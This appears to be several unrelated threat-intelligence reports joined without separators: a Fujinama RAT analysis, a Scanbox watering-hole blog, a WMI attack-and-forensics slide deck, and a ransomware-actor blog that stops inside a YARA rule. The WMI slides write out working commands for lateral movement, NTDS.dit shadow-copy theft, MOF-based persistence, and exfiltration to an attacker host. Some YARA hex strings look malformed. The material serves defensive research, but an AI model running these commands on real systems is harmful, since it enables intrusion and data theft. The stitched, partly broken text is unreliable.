the device can help to mitigate on-device detections. This is especially true when the attacker is, like in Leonardo’s case, part of the company’s security unit. A physical attack carried out by a person with high-level access is a worst-case scenario for any company or agency, but things might have taken a different turn if the malware involved was actually sophisticated. ## Fujinama First Detection In January 2017, Leonardo’s Cyber Security Unit reported anomalous traffic from a number of endpoints operating in the Pomigliano D’Arco (Naples) office. The offending application name `cftmon.exe` was a twist of a well-known Windows component `ctfmon.exe`. The application was not recognized as malicious by the security solutions in use, but the network traffic was indeed highly anomalous. While the attacker was certainly persistent, the sophistication was also lacking; in fact, the type of traffic generated led eventually to the identification of the threat. Unfortunately, the CNAIPIC didn’t release any information on the threat, except for its filename and the C2 address used: `www.fujinama.altervista.org`, though this was enough to threat hunt in our dataset looking for traces of this malware. ## Hunting Down Fujinama The hunt for Fujinama started shortly after CNAIPIC’s bulletin was published. Our Threat Intelligence team managed to find samples that reached our sensors network from 2018. From that point, we managed to pivot on a third sample that appears to be related to a different operation. Two of the three samples share the same keylogging capabilities but they point at two different C2. A third sample, pointing to the Fujinama C2, is in all likelihood an evolution of the previous version that includes screenshot capabilities, exfiltration, and remote execution. This specific sample, labeled Sample 2 in the article, will be the focus of our behavioural analysis. ## ReaQta-Hive Analysis Fujinama was written in Visual Basic 6 and it tries to mimic an internal Windows tool: `cftmon.exe`. ### Main Flow The sample adopts a very simple sandbox evasion technique, sleeping for 60 seconds before activating the malicious flow that consists of: - Every 60 seconds: capturing a screenshot of the Desktop and uploading it to the C2. - Installing a keylogger on the victim machine that sends all keystrokes to the C2. - Every 5 minutes: checking on the C2 for the presence of a command used either to execute an application or to exfiltrate a specific file. ### Screenshots The screenshot routine simulates a keypress on the PrtScn button to capture the image of the desktop. The screen content is then saved from the clipboard to a jpg file in a temporary folder. Finally, Fujinama uploads the newly created image to its C2, using an HTTP POST request with content-type multi-part before deleting the file from the victim’s device. ### Keylogger The keylogging routine simply waits for user input; once a keystroke has been typed, it is immediately uploaded to the C2. Surprisingly, the keystroke is transferred using a simple GET request. This approach, although ignored by the local antivirus, is both visible and noisy, most likely this is what gave up the presence of the malware on its first detection. ### C2 Commands An interesting part of Fujinama is the ability to execute custom commands and custom exfiltrations as instructed by the C2. Every 5 minutes, a configuration file stored on the C2 for each infected endpoint is polled. The samples we have analyzed support 2 commands: - CMD: contains the command line to execute on the infected endpoint. - SND: exfiltrates a specific file from the endpoint. Exfiltration is also confirmed using ReaQta-Hive, showing Fujinama as it captures the hosts file from the infected endpoint before delivering it to the C2. The RAT’s beaconing is automatically detected and alerted by ReaQta-Hive’s engines. ## Variants ReaQta has so far identified 3 different Fujinama samples, 2 of them certainly used on Leonardo’s infrastructure while the third appears to be part of a different project. - Sample 1: used on Leonardo (Keylog) - Sample 2: used on Leonardo (Keylog, Screenshots, Remote commands) - Sample 3: under investigation (Keylog) The analysis shown above has been run on Sample 2. Both Sample 1 and Sample 2 share the same C2 infrastructure. Sample 2 is an evolution of Sample 1 that acquired new capabilities (Screenshots and Remote command support) that were not present in the previous version. We measured both the code similarity (95%) and behavioral similarity (99%) between Sample 1 and Sample 3, confirming they’re an almost exact match. Sample 3 shares the same codebase used for Sample 1, with a few notable differences: - Sample 1 and Sample 2 appear to be compiled on the same machine, Sample 3 seems to have been compiled on a different device. - Sample 1 and Sample 2 and Sample 3 share the same language id (Italian) though at least one keylogger string has been translated back to English. - Sample 1 and Sample 2 use the same C2, Sample 3 uses a different one. - Sample 1 and Sample 2 share the same original filename: `cftmon.exe`, Sample 3 uses a different one: `igfxtray.exe`. Lastly, Sample 3 appears to have been compiled quite recently compared to the other samples. | Sample | Compilation Time | |----------|--------------------------| | Sample 1 | 2015-05-28 08:02:25 | | Sample 2 | 2015-07-14 12:33:39 | | Sample 3 | 2018-09-22 23:10:46 | Given the timeline, the third sample could not be used on Leonardo. We haven’t yet found traces of how, or where, the third sample was used, but it’s possible that the malware project was shared with a third party that managed to alter a few parts. ## Detection ReaQta-Hive natively detects Fujinama, so no actions or updates are required from our customers and partners. We can’t share the samples yet, although the article provides enough data to allow researchers to find them. Nevertheless, given the presence of the third sample and the slim – but not negligible – possibility that someone is still maintaining this project, we would like to share with the community a Yara rule to identify Fujinama variants. ```yara rule Fujinama { meta: description = "Fujinama RAT used by Leonardo SpA Insider Threat" author = "ReaQta Threat Intelligence Team" date = "2021-01-07" version = "1" strings: $kaylog_1 = "SELECT" wide ascii nocase $kaylog_2 = "RIGHT" wide ascii nocase $kaylog_3 = "HELP" wide ascii nocase $kaylog_4 = "WINDOWS" wide ascii nocase $computername = "computername" wide ascii nocase $useragent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" wide ascii nocase $pattern = "'()*+,G-./0123456789:" wide ascii nocase $function_1 = "t_save" wide ascii nocase $cftmon = "cftmon" wide ascii nocase $font = "Tahoma" wide ascii nocase condition: uint16(0) == 0x5a4d and all of them } ``` ## Conclusions The malware is not particularly sophisticated but it certainly reached its goal. Sending data in clear with a simple GET is a major oversight for an actor that, supposedly, wants to remain undetected. The frequent beaconing and the absence of all kinds of hiding/evasion mechanisms (with the exception of a basic sandbox evasion technique) shows either a lack of care or a lack of structure. One factor that contributed to the success of the attack was that the installation was performed manually, thus not requiring sophisticated evasion techniques. At the same time, the level of security expected from a major defence contractor should have pushed a sophisticated attacker toward a very different modus operandi. In our view, the attack has been built opportunistically over time, with incremental enhancements, lacking the structure of a real APT and certainly the sophistication. Unless the attacker could leverage his position within the company to ensure he couldn’t be detected, we can’t see any reason why he was expected to otherwise remain hidden. The code changes only show an increase in exfiltration capabilities while completely neglecting the detection aspect.
# Attacker Tracking Users Seeking Pakistani Passport A few days ago we encountered a breach on a Pakistani government site which was compromised to deliver a dangerous payload - the Scanbox Framework. This compromise is exactly the kind of attack we were concerned about when discussing the danger in a previous compromise that we uncovered just a few weeks ago against another government site, at that time the Bangladesh Embassy in Cairo. The compromised Pakistani domain, tracking.dgip.gov.pk, is a subdomain of the Directorate General of Immigration & Passport of the Pakistani government that allows passport applicants to track the status of their application. Visitors to the site load the Scanbox javascript code from a remote location. This code collects information about the visitor’s machine as well as logs any keystrokes the visitor makes while using the site, for example when logging into the tracking system. In this version that we observed, Scanbox also tried to detect whether the visitor has any of a list of 77 endpoint products installed, most of these are security products, with a few decompression and virtualization tools. Scanbox Framework is a reconnaissance framework that was first mentioned back in 2014 and has been linked over the years to several different APT groups. Its intense activity during the 2014-2015 years has been well-covered in a paper written by PwC. It was then seen again in 2017 suspected to be used by the Stone Panda APT group, and once more in 2018 in connection with LuckyMouse. Scanbox was used in a variety of watering hole attacks, meaning the attacker infected a site with Scanbox in order to gather information about visitors to the site (gathering all the information you’d expect like IP, referrer, OS, User Agent, plugins, etc.) to later tailor sophisticated targeted attacks for interesting visitors. With every appearance, it seems to have evolved in terms of the kinds of information it gathers. Despite the severity of this infection, scans show an alarming lack of detection for this compromised site by security products. Our earliest detection of Scanbox on this Pakistani government site was on March 2nd, 2019 and though we can’t say for sure how long before that Scanbox has been gathering information, we know with certainty that on that day alone Scanbox managed to collect information on at least 70 unique site visitors, about a third of them with recorded credentials. Shortly after we began our deeper investigation the Scanbox server mysteriously stopped responding, but a VT scan from the time when it was still active shows low detection rates for this server as well. We contacted the Pakistani government site regarding this infection, but as of the time of publishing this blog post have received no response and the site remains compromised. As mentioned above, the Scanbox server currently appears inactive, but the infection indicates that the attack has some level of access to the site, and so it’s likely that the server could return to activity or be replaced with a different piece of malicious code at the attacker’s will. These recent cases raise concerns regarding the security of government sites, especially ones where services provided online may involve access to sensitive information. From the perspective of an APT, a tool like Scanbox would only be the beginning of a potentially more elaborate attack. Trustwave SWG customers are and have been protected against the Scanbox Framework since 2014 when it first appeared.
# THERE’S SOMETHING ABOUT WMI ## OVERVIEW AND BACKGROUND ### BACKGROUND - 2014 – Mandiant investigations saw multiple threat groups adopt WMI for persistence. - Used “The Google” and found little mainstream forensic info on using WMI for persistence. ### OVERVIEW - What is WMI and how can you interact with it. - Red side: - How to use WMI during each phase of an intrusion. - How to undermine detection when using WMI. - Some of the ways WMI can be used to achieve persistence. - Blue side: - Forensic artifacts generated when WMI has been used. - Ways to increase the forensic evidence of WMI to benefit your investigations. - Review some case studies involving WMI and targeted threat actors. - Q&A. ## WINDOWS MANAGEMENT INSTRUMENTATION (WMI) - What is WMI? - Framework for managing Windows systems. - Syntax resembles a structured query. - Limited technical documentation. - Primary endpoint components include: - Collection of managed resource definitions (objects.data). - Physical or logical objects that can be managed by WMI via namespaces. - Structure appears informally organized. - Binary Tree Index. - List of managed object format (MOF) files imported into objects.data. ### WMI CONTINUED - WMI present by default on all Microsoft OS’ >= 2000. - Powerful, but requires admin privileges to use. - Directly accessible using “wmic.exe” (CLI). - Has a SQL-like structured query language (WQL). - Allows for remote system management. - Supports several scripting languages: - Windows Script Host (WSH) - VBScript - JScript - PowerShell. ### WMI SYNTAX TO LIST PROCESSES ON REMOTE HOST ``` wmic.exe /node:[SYSTEM] /user:[USERNAME] /password:[PASSWORD] process get name,processid ``` ### WMI CONTINUED - Most functionality stored in default namespace (library of object classes) called “Root\\CIMv2”. - CIMv2 classes include: - Hardware. - Installed applications. - Operating System functions. - Performance and monitoring. - WMI management. ## MANAGED OBJECT FORMAT (MOF) FILES - What if we want to add/extend the functionality of WMI? - Solution: MOF files. - Can be used to implement new namespaces and classes. - Define new properties or create new methods for interacting with WMI. - Portable, create once use many. - Compiled on the system with “mofcomp.exe”. - Support autorecovery via the “pragma autorecover” feature. - At the command line: ``` mofcomp.exe –autorecover my.mof ``` - Alternatively, include “#pragma autorecover” in MOF file. - Prior to Vista, any MOF file in “%SYSTEMROOT%\wbem\mof\” would be automatically compiled and imported into objects.data at startup (no autorecovery required). ### EXAMPLE MOF AUTORECOVERY ``` #PRAGMA AUTORECOVER #pragma classflags ("updateonly", "forceupdate") #pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "_SM.EventFilter"; Query = "Select * From __InstanceModificationEvent Where TargetInstance Isa \"Win32_LocalTime\" And TargetInstance.Second=5"; QueryLanguage = "WQL"; }; ``` ## INTERACTING WITH WMI ### HOW TO WMI - WMIC – native Windows command line interface to WMI. - WinRM – Windows Remote Management command line interface. - WMI-Shell – Linux WMI client (bridges *NIX to Windows). - Impacket – Python classes for WMI. - Open Asset Logger – WMI client that identifies systems on the local network and uses predefined WMI queries. - PowerShell – Windows scripting framework. ### WMIC - Interface to WMI. - Includes aliases that map complex WMI queries to simple commands. - Requires administrator privileges to use (otherwise errors). ### WINDOWS REMOTE MANAGEMENT - Command line interface to WinRM. - Supports querying remote systems. - Note that WinRM uses HTTPS by default – attackers like encryption. - Can invoke WMI via “GET” operator. - Example use to query attributes of remote “spooler” service: ``` winrm get wmicimv2/Win32_Service?Name=spooler –r:<remote system> ``` ### WMI-SHELL - Developed by Lexsi, originally. - Allows WMI commands to be run from Linux systems on remote Windows endpoints. - Written in Python and VBScript. - Only communicates over port 135. ### IMPACKET SCRIPTS - Part of CoreLabs Impacket. - wmiexec.py is a python class for remote WMI command execution. - wmiquery.py is a python class that can be used for running remote WMI queries. ### OPEN ASSET LOGGER - Developed by John Thomas. - Executes pre-built WMI queries. - Practical offensive use limited to reconnaissance. ### POWERSHELL - Most powerful way to interact with WMI. - Allows for a multitude of response formatting options. - PowerShell scripts are portable. - Only requires the source system to have PowerShell installed when interacting with WMI remotely. ## MALICIOUS USE CASES ### WAYS ATTACKERS USE WMI - Reconnaissance. - Lateral movement. - Establish a foothold. - Privilege escalation. - Maintain persistence. - Data theft. ### RECONNAISSANCE - List patches installed on the local workstation with WMIC: ``` wmic qfe get description,installedOn /format:csv ``` - List information on currently running processes with WMIC: ``` wmic process get caption,executablepath,commandline ``` - List user accounts with WMIC: ``` wmic useraccount get /ALL ``` ### RECONNAISSANCE CONTINUED - Identify whether a target system is a SQL server using WMI: ``` wmic /node:”192.168.0.1” service where (caption like “%sql server (%”) ``` - List network shares on a remote system using WMI and PowerShell: ``` get-wmiobject –class “win32_share” –namespace “root\CIMV2” –computer “targetname” ``` ### LATERAL MOVEMENT - Invoke a command on a remote system using WMI: ``` wmic /node:REMOTECOMPUTERNAME process call create “COMMAND AND ARGUMENTS" ``` ### ESTABLISH A FOOTHOLD - Execute commands on a remote system using WMI: ``` wmic /NODE: “192.168.0.1” process call create “evil.exe” ``` ### PRIVILEGE ESCALATION - Three types of escalation: - Scheduled tasks. ``` wmic /node:REMOTECOMPUTERNAME PROCESS call create “at 9:00PM c:\GoogleUpdate.exe ^> c:\notGoogleUpdateResults.txt" ``` - Volume Shadow Copy. ``` wmic /node:REMOTECOMPUTERNAME PROCESS call create “cmd /c vssadmin create shadow /for=C:\Windows\NTDS\NTDS.dit > c:\not_the_NTDS.dit“ ``` - Process impersonation. ### EXAMPLE PROCESS IMPERSONATION USING VBSCRIPT ```vbscript If args.Length = 0 Then Usage() Else If strComputer = "." Then Set objWMIService = GetObject("winmgmts:{impersonationLevel =Impersonate}!\\.\root\cimv2") Else Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator") Set objWMIService = objSWbemLocator.ConnectServer(strComputer, "root\CIMV2", strUser, strPassword, "MS_409", "ntlmdomain:" + strDomain) End If End If ``` ### MAINTAIN PERSISTENCE - WMI Persistence requires three components: - An event filter – the condition we’re waiting for. - An event consumer – the persistence payload. - A binding that associates a filter to a consumer. ### MOST USEFUL STANDARD FILTERS - “Standard” filters included in default CIMv2 namespace. - _EventFilter classes include: - Win32_LocalTime – a time condition like once per minute. - Win32_Directory – the presence of a file or directory. - Win32_Service – whenever a service starts or stops. ### EXAMPLE _EVENTFILTER USING WIN32_LOCALTIME ```powershell $instanceFilter=([wmiclass]"\\.\root\subscription:_EventFilter").CreateInstance() $instanceFilter.QueryLanguage = “WQL” $instanceFilter.Query = “SELECT * FROM __InstanceModificationEvent Where TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Second=5” $instanceFilter.Name=“SneakyFilter” $instanceFilter.EventNameSpace = ‘root\Cimv2’ ``` ### MOST USEFUL STANDARD CONSUMERS - CommandLineEventConsumer. - ActionScriptEventConsumer. ### EXAMPLE ACTIONSCRIPTEVENTCONSUMER ```powershell $instanceConsumer = ([wmiclass]"\\.\root\subscription:ActionScriptEventConsumer").CreateInstance() $instanceConsumer.Name = “SneakyConsumer” $instanceConsumer.ScriptingEngine = “JScript” $instanceConsumer.ScriptFileName = “C:\users\dkerr\appdata\temp\sneak.js” ``` ### EXAMPLE COMMANDLINEEVENTCONSUMER ```powershell Instance CommandLineEventConsumer as $CMDLINECONSUMER { Name = “Sneaky Consumer”; CommandLineTemplate = “c:\\Temp\\sneak.exe /e /V /i /L”; RunInteractively = False; WorkingDirectory = “c:\\”; } ``` ### CREATE A FILTER TO CONSUMER BINDING ```powershell instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; ``` ### LET’S PUT IT ALL TOGETHER - One of the easier ways to accomplish this is to throw everything in a MOF file. ### EXAMPLE MOF FILE, “C:\WINDOWS\TEMP\SNEAK.MOF” ```mof #PRAGMA AUTORECOVER #pragma classflags ("updateonly", "forceupdate") #pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "_SM.EventFilter"; Query = "Select * From __InstanceModificationEvent Where TargetInstance Isa \"Win32_LocalTime\" And TargetInstance.Second=5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "_SM.ConsumerScripts"; ScriptingEngine = "JScript"; ScriptText = "oFS = new ActiveXObject('Scripting.FileSystemObject'); JF='C:/Windows/Addins/%Mutex%'; oMutexFile = null; try{oMutexFile = oFS.OpenTextFile(JF, 2, true);}catch(e){} CoreCode = ‘INSERT BASE64 ENCODED SCRIPT HERE’ '; if(oMutexFile){oMutexFile.Write(unescape(CoreCode));oMutexFile.Close();(new ActiveXObject('WScript.Shell')).Run('cscript /E:JScript '+JF, 0);}"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; ``` ### EXTRA CREDIT: DEFINE YOUR OWN CLASS - Why bother? - _EventFilter and _EventConsumer objects aren’t that common. - What if there was a sneakier way? - Solution: create a benign-sounding class in CIMv2 with a benign-sounding property and fill with badness. ### WHY SHOULD YOU USE WMI FOR PERSISTENCE? - None of the tools mentioned in the persistence section will trigger antivirus or whitelisting applications. - With an ActiveX Object you can instantiate IE for C2. - There is no functional way to determine at scale if the script referenced in an MOF file, passed on the command line, or inserted into objects.data is malicious. ### FINALLY, DATA THEFT - Using WMI process call create: ``` wmic /NODE: “192.168.0.1” /user:”Domain\Administrator” /password:”1234” process call create “xcopy “D:\\everything.rar” “\\ATTACKERHOST\\C$\\e.dat”" ``` - Using WMI and PowerShell: ``` (Get-WmiObject -Class CIM_DataFile -Filter 'Name=“D:\\everything.rar"' -ComputerName MYSERVER -Credential 'MYSERVER\Administrator').Rename("\\\\ATTACKERHOST\\C$\\everything.rar") ``` ## FORENSIC ARTIFACTS ### OVERVIEW OF ARTIFACTS - In-memory. - File system. - Prefetch. - Registry. - WMI trace logs. - Network. ### PROCESS MEMORY ARTIFACTS - Fragments of WMI commands may be found within the process memory for the following: - wmiprvse.exe – WMI provider process. - svchost.exe – the specific process associated with the WinMgMt service. - csrss.exe or conhost.exe – command line subsystem and console host processes, XP/2003 or Vista and later. ### FILE SYSTEM – MOF FILES - Malicious MOF files may still be present on disk. - MOF files may be copied into the autorecovery directory after the originals were deleted. - References to MOF files may be found in the binary tree index. ### FILE SYSTEM – CIM REPOSITORY - New WMI classes are stored in the CIM repository. - String searches with the following terms may be helpful: - EventConsumer. - EventFilter. - FilterToConsumerBinding. - Wscript.shell. - Wscript.sleep. - On Error Resume Next. ### PREFETCH - Prefetch files may capture useful command references. ### REGISTRY - Binaries executed on remote systems may be recorded in the AppCompatCache registry key. - The list of MOF files for autorecovery is stored in the following registry key: - “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\autorecover mofs”. ### WMI TRACE LOGS - Scenario: an attacker interacts with a target system through WMI - What is the default level of logging for this privileged activity? None. ### WMI-ACTIVITY EVENT LOG EXAMPLE #1 - Trace log capturing the following reconnaissance command: ``` “wmic.exe /node:”192.168.1.1” service get pathname” ``` ### WMI SERVICE LOG EXAMPLE ENTRIES - Wbemcore.log: ``` (Mon Dec 09 11:13:59 2010.231145) : DCOM connection from DOMAIN\Username at authentication level Packet, AuthSvc = 9, AuthzSvc = 1, Capabilities = 0 ``` - Mofcomp.log: ``` (Sat Aug 01 11:13:21 2013.1675625) : Parsing MOF file C:\evil.mof ``` ## CASE STUDIES ### CASE STUDY #1: USING WMI FOR RECONNAISSANCE - During Live Response of a system we found traces of WMI queries in process memory for “csrss.exe”. ### CASE STUDY #2: USING WMI FOR PERSISTENCE - Observed callback to malicious C2 domain. - String search showed malicious domain referenced in MOF file. ### CASE STUDY #3: DATA THEFT WITH WMI AND POWERSHELL - During analysis of a system we found the following in the pagefile (pagefile.sys): ``` (Get-WmiObject -Class CIM_DataFile -Filter 'Name=“F:\\Path\To\Secret\Sauce\20130102.rar"' -ComputerName DOMAINCONTROLLER1 -Credential 'DOMAINCONTROLLER1\Administrator').Rename("\\\\WIN2K8AD01\\ADMIN$\\01.dat") ``` ## REMEDIATION ### REMEDIATING PERSISTENT WMI INFECTIONS - Scenario: an attacker infected one or more systems in your environment with a persistent WMI script. ### HOW TO REMOVE A WMI BACKDOOR - Use PowerShell. - Step 1: Identify the WMI EventFilter. - Step 2: Identify the WMI EventConsumer. - Step 3: Identify the Binding. - Step 4: Remove the malicious binding. - Step 5: Remove the malicious EventFilter. - Step 6: Remove the malicious EventConsumer. ## CONCLUSION ### SUMMARY/LESSONS LEARNED - Targeted threat actors are increasingly relying on WMI. - WMI can be leveraged for nearly every phase of the compromise and by default leaves little evidence. - WMI persistence easily defeats traditional AV, whitelisting, and can be overlooked when conducting forensic analysis. - Process memory may contain some artifacts of WMI activity but fidelity quickly diminishes over time. ### ACKNOWLEDGEMENTS - Bob Wilton - Ryan Kazanciyan - Matt Hastings - Matt Graeber - Jesse Davis ### QUESTIONS? [email protected] @_devonkerr_ ## THE END
# Is There Really Such a Thing as a Low-Paid Ransomware Operator? **By Thibault Seret · October 18, 2021** ## Introduction Going by recent headlines, you could be forgiven for thinking all ransomware operators are raking in millions of ill-gotten dollars each year from their nefarious activities. Lurking in the shadows of every large-scale attack by organized gangs of cybercriminals, however, there can be found a multitude of smaller actors who do not have access to the latest ransomware samples, the ability to be affiliates in the post-DarkSide RaaS world, or the financial clout to tool up at speed. So what is a low-paid ransomware operator to do in such circumstances? By getting creative and looking out for the latest malware and builder leaks, they can be just as devastating to their victims. In this blog, we will track the criminal career of one such actor as they evolve from homemade ransomware to utilizing major ransomware through the use of publicly leaked builders. ## The Rich Get Richer For years, the McAfee Enterprise Advanced Threat Research (ATR) team has observed the proliferation of ransomware and the birth and (apparent) death of large organized gangs of operators. The most notorious of these gangs have extorted huge sums of money from their victims by charging for decryption of data or by holding the data itself to ransom against the threat of publication on their ‘leak’ websites. With the income of such tactics sometimes running into the millions of dollars, such as with the Netwalker ransomware that generated 25 million USD between 1 March and 27 July 2020, we speculate that much of those ill-gotten funds are subsequently used to build and maintain arsenals of offensive cyber tools, allowing the most successful cybercriminals to stay one step ahead of the chasing pack. As seen in the image above, cybercriminals with access to underground forums and deep pockets have the means to pay top dollar for the tools they need to continually generate more income, with this particular Babuk operator offering up 50,000 USD for a 0-day targeting a corporate virtual private network (VPN) which would allow easy access to a new victim. ## The Lowly-Paid Don’t Necessarily Stay That Way For smaller ransomware operators, who do not have affiliation with a large group, the technical skills to create their own devastating malware, or the financial muscle to buy what they need, the landscape looks rather different. Unable to build equally effective attack chains, from initial access through to data exfiltration, their opportunities to make illegal profits are far slimmer in comparison to the behemoths of the ransomware market. Away from the gaze of researchers who typically focus on the larger ransomware groups, many individuals and smaller groups are toiling in the background, attempting to evolve their own operations any way they can. One such method we have observed is through the use of leaks, such as the recent online posting of Babuk’s builder and source code. McAfee Enterprise ATR has seen two distinct types of cybercriminal taking advantage of leaks such as this. The first group, which we presume to be less tech-savvy, has merely copied and pasted the builder, substituting the Bitcoin address in the ransom note with their own. The second group has gone further, using the source material to iterate their own versions of Babuk, complete with additional features and new packers. Thus, even those operators at the bottom of the ransomware food chain have the opportunity to build on others’ work, to stake their claim on a proportion of the money to be made from data exfiltration and extortion. ## ATR’s Theory of Evolution A Yara rule dedicated to Babuk ransomware triggered a new sample uploaded on VirusTotal, which brings us to our ‘lowly-paid’ ransomware actor. From a quick glance at the sample, we can deduce that it is a copied and pasted binary output from Babuk’s builder, with an edited ransom note naming the version “Delta Plus”, two recovery email addresses, and a new Bitcoin address for payments. We’ve seen the two email recovery addresses before – they have been used to deliver random ransomware in the past and, by using them to pivot, we were able to delve into the actor’s resume. The first email address, [email protected], has been used to drop a .NET ransomware mentioning “Delta Plus”. The ransomware is pretty simple to analyze; all mechanisms are declared, and command lines, registry modification, etc., are hardcoded in the binary. In fact, the actor’s own ransomware is so poorly developed (no packing, no obfuscation, command lines embedded in the binary, and the fact that the .NET language is easy to analyze) that it is hardly surprising they started using the Babuk builder instead. By way of contrast, their new project is well developed, easy to use, and efficient, not to mention painful to analyze (as it is written in the Golang language) and provides executables for Windows, Linux, and network-attached storage (NAS) systems. The second email address, [email protected], has been used to drop an earlier version of the .NET ransomware. ## Tactics, Techniques and Procedures By checking the relationships between “Delta ransomware”, the Babuk iteration, and the domains contacted during process execution, we can observe some domains related to our sample: - suporte01928492.redirectme.net - suporte20082021.sytes.net - 24.152.38.205 Thanks to a misconfiguration, files hosted on those two domains are accessible through Open Directory (OpenDir), which is a list of direct links to files stored on a server: - **bat.rar**: A PowerShell script used to perform several operations: - Try to disable Windows Defender - Bypass User Account Control (UAC) - Get system rights via runasti - **exe.rar**: Delta Plus ransomware - **reg.rar**: Registry values used to disable Windows Defender Other domains where files are hosted contain different tools used during attack operations. We’ve found two methods employed by the operator, which we assume to be used for initial access: First, a fake Flash Player installer and, secondly, a fake Anydesk remote tool installer used to drop the ransomware. Our theory about Flash Player initial access has been confirmed by checking the IP that hosts most of the domains. When logging in, the website warns you that your Flash Player version is outdated and tries to download the Fake Flash Player installer. A secondary site appears to have also been utilized in propagating the fake Flash Player, though it is currently offline. Portable Executable (PE) files are used to launch PowerShell command lines to delete shadow copies, exclude Windows Defender, and import registry keys from “Update.reg.rar” to disable Windows Defender. A PE file is used for several purposes: Exfiltrating files from the victim, keylogging, checking if the system has already been held to ransom, getting system information, obtaining user information, and creating and stopping processes. In addition to the above, we also found evidence that this actor tried to leverage another ransomware builder leak, Chaos ransomware. ## Infrastructure The majority of domains used by this actor are hosted on the same IP: “24.152.38.205” (AS 270564 / MASTER DA WEB DATACENTER LTDA). But as we saw by “analyzing” the extraction tool used by the actor, another IP is mentioned: “149.56.147.236” (AS 16276 / OVH SAS). On this IP, some ports are open, such as FTP (probably used to store exfiltrated data), SSH, etc. By looking at this IP with Shodan, we can get a dedicated hash for the SSH service, plus fingerprints to use on this IP, and then find other IPs used by the actor during their operations. By using this hash, we were able to map the infrastructure by looking for other IPs sharing the same SSH key + fingerprintings. At least 174 IPs are sharing the same SSH pattern (key, fingerprint, etc.); all findings are available in the IOCs section. ## Bitcoin Interests Most of the ransomware samples used by the actor mention different Bitcoin (BTC) addresses which we assume is an effort to obscure their activity. By looking for transactions between those BTC addresses with CipherTrace, we can observe that all the addresses we extracted from the samples we’ve found are related and eventually point to a single Bitcoin wallet, probably under control of the same threat actor. From the three samples we researched, we were able to extract the following BTC addresses: - 3JG36KY6abZTnHBdQCon1hheC3Wa2bdyqs - 1Faiem4tYq7JQki1qeL1djjenSx3gCu1vk - bc1q2n23xxx2u8hqsnvezl9rewh2t8myz4rqvmdzh2 ## Ransomware Isn’t Just About Survival of the Fittest As we have seen above, our example threat actor has evolved over time, moving from simplistic ransomware and demands in the hundreds of dollars to toying with at least two builder leaks and ransom amounts in the thousands of dollars range. While their activity to date suggests a low level of technical skill, the profits of their cybercrime may well prove large enough for them to make another level jump in the future. Even if they stick with copy-pasting builders and crafting ‘stagers’, they will have the means at their disposal to create an efficient attack chain with which to compromise a company, extort money, and improve their income to the point of becoming a bigger fish in a small pond, just like the larger RaaS crews. In the meantime, such opportunistic actors will continue to bait their hooks and catch any fish they can as, unlike affiliated ransomware operators, they do not have to follow any rules in return for support from the gang’s operators. Thus, they have a free hand to carry out their attacks, and if a victim wants to bite, they don’t care about ethics or who they target. The good news for everyone else, however, is the fact that global law enforcement isn’t gonna need a bigger boat, as it already casts its nets far and wide. ## Mitre Att&ck | Technique ID | Description | |--------------|-------------| | T1189 | Drive By Compromise: The actor is using a fake Flash website to spread a fake Flash installer. | | T1059.001 | Command Scripting Interpreter: PowerShell is used to launch command lines (delete shadow copies, etc.). | | T1059.007 | Command Scripting Interpreter: JavaScript is used in the fake Flash website to download the fake Flash installer. | | T1112 | Modify Registry: To disable Windows Defender, the actor modifies registry. | | T1083 | File and Directory Discovery: The actor is listing files on the victim system. | | T1057 | Process Discovery: The actor is listing running processes on the victim system. | | T1012 | Query Registry: To perform some registry modifications, the actor is first querying registry path. | | T1082 | System Information Discovery: Before encrypting files, the actor is listing hard drives. | | T1056.001 | Input Capture: The exfiltration tool has the capability to log user keystrokes. | | T1005 | Data from Local System | | T1571 | Non-Standard Port: The actor is using port “1177” to exfiltrate data. | | T1048 | Exfiltration Over Alternative Protocol | | T1486 | Data Encrypted for Impact: Data encrypted by ransomware. | | T1490 | Inhibit System Recovery: Delete Shadow Copies. | ## Detection Mechanisms ### Sigma Rules - Shadow Copies Deletion Using Operating Systems Utilities - Drops Script at Startup Location - File Created with System Process Name - Suspicious Svchost Process - System File Execution Location Anomaly - Delete Shadow copy via WMIC - Always Install Elevated Windows Installer ### Yara Rules **Babuk Ransomware Windows** ```yara rule Ransom_Babuk { meta: description = "Rule to detect Babuk Locker" author = "TS @ McAfee Enterprise ATR" date = "2021-01-19" hash = "e10713a4a5f635767dcd54d609bed977" rule_version = "v2" malware_family = "Ransom:Win/Babuk" malware_type = "Ransom" mitre_attack = "T1027, T1083, T1057, T1082, T1129, T1490, T1543.003" strings: $s1 = {005C0048006F007700200054006F00200052006500730074006F0072006500200059006F00750072002000460069006C00650073002E0} $s2 = "delete shadows /all /quiet" fullword wide $pattern1 = {006D656D74617300006D65706F63730000736F70686F730000766565616D0000006261636B757000004778567373000000477842000047784657440000004778435644000000477843494D67720044656657617463680000000063634576744D67720000000063635365744D6770536176526F616D005254567363616E0051424643536572766963650051424944505365727669636500000000496E747569742E517569636B4} $pattern2 = {004163725363683253766300004163726F6E69734167656E7400000000434153414432445765625376630000004341415243557064617465537} $pattern3 = {FFB0154000C78584FDFFFFB8154000C78588FDFFFFC0154000C7858CFDFFFFC8154000C78590FDFFFFD0154000C78594FDFFFFE0154000C7859CFDFFFFE8154000C785A0FDFFFFF0154000C785A4FDFFFFF8154000C785A8FDFFFF00164000C785A00C785B0FDFFFF10164000C785B4FDFFFF18164000C785B8FDFFFF20164000C785BCFDFFFF28164000C785C0FDFFFF30164000C785C40C785C8FDFFFF40164000C785CCFDFFFF48164000C785D0FDFFFF50164000C785D4FDFFFF581640} $pattern4 = 